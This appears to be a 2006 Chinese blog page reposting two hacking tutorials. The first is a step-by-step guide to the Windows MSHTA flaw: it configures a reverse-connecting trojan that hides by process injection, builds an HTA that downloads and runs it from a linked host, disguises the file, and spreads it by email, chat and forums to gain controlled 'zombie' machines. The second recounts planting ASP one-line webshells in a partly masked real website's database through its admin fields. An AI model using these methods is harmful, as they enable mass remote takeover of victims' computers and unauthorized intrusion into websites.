• 2006年07月28日

    MSHTA漏洞为黑客大开远程控制之门

    MSHTA漏洞为黑客大开远程控制之门
    出处:天极安全
    这是一个可以让黑客欣喜若狂的新漏洞,一旦该漏洞被激活,就会有大量计算机成为黑客手中的肉鸡,被人远程控制不可避免……
      微软的Windows操作系统在进行了短暂的“喘息”后,近日又在攻击爱好者不懈努力下,被成功找出几个高危的系统安全漏洞,而Microsoft Windows MSHTA脚本执行漏洞就是其中的重要一员。
      安全公告牌
      MSHTA即HTA,此处的MS主要用于强调这是微软的漏洞,HTA全名为HTML Application,就是HTML应用程序,其实只要简单地用“hta”为扩展名保存HTML页面就算创建了一个HTA文件。以前就有很多恶意代码利用它,但是随着用户安全意识的提高,以及安全厂商将它列入黑名单,这些含有HTA代码的文件发挥的破坏作用已大不如前了。然而,Windows MSHTA脚本执行漏洞的出现,使得潘多拉的魔盒再次开启,噩梦开始……
      攻击者可利用此漏洞控制受影响的系统,进行恶意程序的安装、系统文件的管理等,或创建一个拥有完全控制权限的管理员账号。
      原理
      Microsoft HTML Application Host(MSHTA)是Microsoft Windows操作系统的一部分,必须使用它才能执行HTA文件。而Windows Shell中存在远程代码执行漏洞,起因就是系统不能正确识别文件的关联程序。
      其实说简单一点就是Windows系统在处理文件关联程序的时候出现了问题。例如,用户本来想用Winamp打开一个文件后缀为“mp3”的文件,但却没能正确调用Winamp程序而调用了另一个程序打开了这个“mp3”文件。这个漏洞就是这样,用户运行恶意文件后,系统会调用MSHTA打开这个文件,如果这个文件中包含有HTA代码,那么系统就会立刻执行这段代码,从而引发各种安全问题。
      配置木马服务端
      攻击者想要成功利用该漏洞进行远程控制的话,首先就得配置一个木马的服务端程序。通过木马程序,就可在图形化的状态下进行远程控制,这样操作起来更加简单方便。
      当我们成功激活被攻击计算机上的Windows MSHTA脚本执行漏洞后,该计算机就会自动下载我们设置的服务端程序,我们即可对它进行远程控制操作。
      今天,我们可以采用的木马是最新的国产木马“流萤”,在它的帮助下,我们可以非常方便地通过客户端中的各个按钮进行远程控制。
      运行流萤木马的客户端程序,在弹出的操作界面中点击工具栏上的“配置服务端”按钮。在弹出的“配置服务端”窗口中,就可开始配置我们的服务端程序(见图)。

      由于木马“流萤”采用了流行的反弹连接技术,所以要在“DNS域名”中设置用于服务端程序反弹连接的IP地址,也就是本地计算机当前的IP地址。当然,攻击者也可采用其他木马进行反弹连接的操作。
      在“连接端口”中设置用于服务端程序和客户端(即被攻击的计算机和进行攻击的计算机)进行数据传输的监听端口。“辨识密码”就是服务端程序在上线时的确认密码,如果辨识密码不正确,攻击者将不能对被攻击计算机进行控制。
      “流萤”在服务端的隐藏方式上采用了现在流行的线程插入的方法,选中“是否生成dll进程插入类型”选项后,用户可根据自己的需要,选择将生成的服务端程序进程插入到资源管理器程序explorer.exe的进程中或IE浏览器的IEXPLORE.EXE进程中实施服务端隐藏。这样不但可以轻松穿透大多数个人防火墙,而且在进程管理器中也无法查到该进程。
      现在,所有的设置已经完成,最后点击“生成”按钮就可生成我们需要的服务端程序。生成的服务端程序只有13KB,极其有利于被攻击的计算机进行下载。
    漏洞的利用
      木马服务端的配置完成,只是完成了整个攻击过程中的很小一部分。下面,我们就要一鼓作气,完成所有的操作,目的就是为了拥有更多的肉鸡。
      现在我们来看看这个漏洞是如何被攻击者利用的。首先从网上下载Windows MSHTA脚本执行漏洞的利用工具,之后打开命令提示符窗口,进入漏洞利用工具所在的文件夹,然后查看工具的使用方法。
      “Usage:C:\2005016.exe htafilename savefilename”,该语句的含义是可通过利用工具将一个HTA文件转化为一个可以成功利用Windows MSHTA脚本执行漏洞的文件(文件格式不确定,用户可以任意取,但文件的后缀名一定不能和系统中已有的文件后缀名相同),看来我们首先需要编写一个HTA文件。
      能够编写HTA文件的语言有很多,包括VBScript、Perl等,用户完全可以根据自己的爱好以及每种语言的特点来选择编写语言。下面就以VBScript为范例来编写一个HTA文件。
      打开记事本程序,输入一段VBScript代码(下载地址:http://www.mh.fy.cn/2005/2.rar)。
      这段代码的含义是从网上下载代码中设置的链接文件,下载完成后运行该文件。其实这个文件就是我们配置完成后上传到网络空间的木马服务端程序。代码输入完成后,将该文件命名为mm.hta即可。
      现在重新运行漏洞利用工具,然后输入命令“2005016.exe mm.hta mm.mm”,这样就可生成一个名为“mm.mm”的恶意文件。如果你怕文件的后缀名被对方识破,可以采用类似于“d0c”这样的后缀名。
      利用漏洞的恶意文件生成之后,你就可通过各种各样的方法将它传播出去,例如藏在电子邮件的附件中、通过即时通讯软件发给别人、在论坛上发帖等。
      只要被攻击的用户双击运行了该文件,被攻击的计算机的系统就会下载并运行已经设置的链接文件,进而受远程计算机的控制。
      攻击者可通过客户端程序中的各个命令对被攻击的计算机进行远程控制,包括文件管理、屏幕管理、注册表管理等。
      防范措施:用户想要成功地对Windows MSHTA脚本执行漏洞进行防范,最简单的方法就是尽快安装微软推出的安全补丁,这样就可彻底根除该漏洞对系统的危害。当然还可通过安装杀毒软件对利用该漏洞下载的恶意程序进行查杀,从而进行防范。

    巧取一个很意外的WEBSHELL

    一、起因
    今天半夜无聊,不小心弄的看了以前想弄站,www.***818.com,试试了默认数据库http://www.***818.com/abc.asp,居然是没防下(以前可能被人家搞过,一直下载不了,老提示错误,今天可以下,可能是管理员重新传数据库上去了。-----------因为我得到和他一样的,并且可能是一个人开的www.***918.com的代码。)于是呼我就以为可以写马。进后台添加用户那里加个用户名为<%execute request("l")%>密码aaa的用户。试传大马。但是失败。就这样开始了我的夜生活。。。。(本来可以在其他地方插的,但由于我的不小心。)

    二、分析
    前面罗嗦了点。下面简洁说:重新看下数据库。用户名那里居然只给20个字节,难怪老出现错误:Script 块缺少脚本关闭标记(% >)。
    本地搭一个和他一样的站,测试。起初以为给他闭合就OK了。就在其他地方加上%>还是出现错误:

    未结束的字符串常量

    /test/abc.asp,行 237

    execute request("l&#6

    于是把刚刚添加的用户给删了。谁知道删了用户,他还是出错,就是:Script 块缺少脚本关闭标记(% >)。用户删了,残余的东西还留在里面,真实顽固啊,本来有一法是可以搞定的,就是修改会员资料,把会员<%execute request("l ----------------20个字节。前面加个’变<%‘execute request("可惜不小心又把他删了。
    无奈,用frontpage打开数据库,发现admin表的内容在user表前面。于是想到用改管理员密码的方法来插木马。幻想着虽然后面的代码有问题,但如果前面的已经执行了那不就OK了。抱着这个想法。
    就又实验起来。发现管理员,密码(都是明问文)也是控制在20个字节(在数据库中的,不是在表单中),而:<%execute request("l")%> 有24个字节,于是我找到更小的,lake2的那个:<%eval request("X")%> 21个字节,少了三个。这样就有我利用的机会了。经过无数次的实验。发现这样可以很好的插进去。
    管理员那里:<%eval request("X")’
    管理密码那里:%>
    管理员多个’是注释掉后面的垃圾。刚好20个,这样就可以插进去了。

    测试的时候。我本地没把<%execute request("l")%> 插先。只插<%eval request("X")%>,意思就是数据库还没被破坏的情况下插的。现在数据库那里已经有哦问题了。重新来过。先加一用户<%execute request("l")%> ,后面给他闭合加%>,再到管理员那里插lake2的一句话木马
    结果。还是失败。可能是ASP里面代码出错,就不给用了。我的理解是。asp.dll会从上到下一句一句解析,那当上面对的代码解析完了。再解析下面 的错代码,再抱错。。。。

    三、柳暗花明
    随便再加一用户。再用frontpage打开。发现。新用户名密码和<%execute request("------(就是出错的那里)在同一行,而且还在前面。想想是不是可以注释点。加用户aaa,密码’’’’’’’’
    还是注释不了。
    查资料也没这个说发。最后一不小心,再加用户的时候。添加aaa,密码<%’<%’
    然后在到后面把前面哪里给闭合,打开http://127.0.0.1/abc.asp 居然出现乱码了,希望来了。。。
    剩下的事情就容易多了。不罗嗦了

    四、总结
    从微小的地方找到突破,坚持不懈,不放过一点细节。信息。
    就是我成功的经验。

    收藏到:Del.icio.us